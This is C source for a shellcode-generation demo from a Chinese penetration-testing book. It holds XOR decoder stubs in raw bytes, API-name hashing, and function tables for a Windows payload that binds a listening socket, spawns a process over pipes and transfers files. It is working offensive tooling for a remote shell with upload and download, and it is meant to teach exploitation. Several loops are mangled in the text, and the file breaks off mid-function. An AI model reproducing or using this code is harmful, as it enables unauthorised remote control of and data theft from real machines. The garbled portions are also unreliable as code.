/* shellcode_fun.c * * 《网络渗透技术》演示程序 * 作者:san, alert7, eyas, watercloud * * 结合文件上传下载功能的shellcode演示 */ #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 #define PROC_END PROC_BEGIN #define Xor_key 0x33; unsigned char sh_Buff[2048]; unsigned int sh_Len; unsigned int Enc_key=0x99; unsigned char decode1[] = /* 00401004 . /EB 0E JMP SHORT encode.00401014 00401006 $ |5B POP EBX 00401007 . |4B DEC EBX 00401008 . |33C9 XOR ECX,ECX 0040100A . |B1 FF MOV CL,0FF 0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99 00401010 .^|E2 FA LOOPD SHORT encode.0040100C 00401012 . |EB 05 JMP SHORT encode.00401019 00401014 > \E8 EDFFFFFF CALL encode.00401006 */ "\xEB\x0E\x5B\x4B\x33\xC9\xB1" "\xFF" // shellcode size "\x80\x34\x0B" "\x99" // xor byte "\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"; unsigned char decode2[] = /* ripped from eyas 00406030 /EB 10 JMP SHORT 00406042 00406032 |5B POP EBX 00406033 |4B DEC EBX 00406034 |33C9 XOR ECX,ECX 00406036 |66:B9 6601 MOV CX,166 0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99 0040603E ^|E2 FA LOOPD SHORT 0040603A 00406040 |EB 05 JMP SHORT 00406047 00406042 \E8 EBFFFFFF CALL 00406032 */ "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9" "\x66\x01" // shellcode size "\x80\x34\x0B" "\x99" // xor byte "\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"; // kernel32.dll functions index #define _LoadLibraryA 0x00 #define _CreateProcessA 0x04 #define _TerminateProcess 0x08 #define _CreatePipe 0x0C #define _CreateNamedPipeA 0x10 #define _CloseHandle 0x14 #define _CreateEventA 0x18 #define _WaitForMultipleObjects 0x1C #define _GetOverlappedResult 0x20 #define _CreateFileA 0x24 #define _ReadFile 0x28 #define _WriteFile 0x2C #define _WaitForSingleObjectEx 0x30 #define _Sleep 0x34 // ws2_32.dll functions index #define _WSAStartup 0x38 #define _WSASocketA 0x3C #define _setsockopt 0x40 #define _bind 0x44 #define _listen 0x48 #define _accept 0x4C #define _recv 0x50 #define _send 0x54 #define _WSACreateEvent 0x58 #define _WSAEventSelect 0x5C #define _WSAEnumNetworkEvents 0x60 #define _ioctlsocket 0x64 #define _closesocket 0x68 // data index #define _lsck 0x6C #define _hsck 0x70 // socket handle #define _hin0 0x74 // transferring data to subprocess. incoming handler #define _hin1 0x78 // outgoing #define _hout0 0x7C // Create named pipe and open it. incoming handler #define _hout1 0x80 // outgoing #define _pi0 0x84 #define _pi1 0x88 #define _epip 0x8C #define _esck 0x90 #define _flg 0x94 #define _lap 0x98 #define _cnt 0xAC #define _pbuf 0xB0 #define _sbuf 0xF0 // functions number #define _Knums 14 #define _Wnums 13 // Need functions unsigned char functions[100][128] = { // kernel32 {"LoadLibraryA"}, {"CreateProcessA"}, {"TerminateProcess"}, {"CreatePipe"}, {"CreateNamedPipeA"}, {"CloseHandle"}, {"CreateEventA"}, {"WaitForMultipleObjects"}, {"GetOverlappedResult"}, {"CreateFileA"}, {"ReadFile"}, {"WriteFile"}, {"WaitForSingleObjectEx"}, {"Sleep"}, // ws2_32 {"WSAStartup"}, {"WSASocketA"}, {"setsockopt"}, {"bind"}, {"listen"}, {"accept"}, {"recv"}, {"send"}, {"WSACreateEvent"}, {"WSAEventSelect"}, {"WSAEnumNetworkEvents"}, {"ioctlsocket"}, {"closesocket"}, // data {""}, }; void PrintSc(unsigned char *lpBuff, int buffsize); void ShellCode(); // Get function hash unsigned long hash(unsigned char *c) { unsigned long h=0; while(*c) { h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++; } return h; } // get shellcode void GetShellCode() { char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char *pSc_addr; unsigned char pSc_Buff[2048]; unsigned int MAX_Sc_Len=0x2000; unsigned long dwHash[100]; unsigned int dwHashSize; int l,i,j,k; // Get functions hash for (i=0;;i++) { if (functions[i][0] == '\x0') break; dwHash[i] = hash(functions[i]); //fprintf(stderr, "%.8X\t%s\n", dwHash[i], functions[i]); } dwHashSize = i*4; // Deal with shellcode pSc_addr = (unsigned char *)ShellCode; for (k=0;k0; i--) { l = 0; for(j=0; j 0xFF) { *(unsigned short *)&decode2[8] = sh_Len; *(unsigned char *)&decode2[13] = Enc_key; memcpy(sh_Buff, decode2, sizeof(decode2)-1); memcpy(sh_Buff+sizeof(decode2)-1, pSc_Buff, sh_Len); sh_Len += sizeof(decode2)-1; } else { *(unsigned char *)&decode1[7] = sh_Len; *(unsigned char *)&decode1[11] = Enc_key; memcpy(sh_Buff, decode1, sizeof(decode1)-1); memcpy(sh_Buff+sizeof(decode1)-1, pSc_Buff, sh_Len); sh_Len += sizeof(decode1)-1; } } } // print shellcode void PrintSc(unsigned char *lpBuff, int buffsize) { int i,j; char *p; char msg[4]; fprintf(stderr, "/* %d bytes */\n",buffsize); for(i=0;i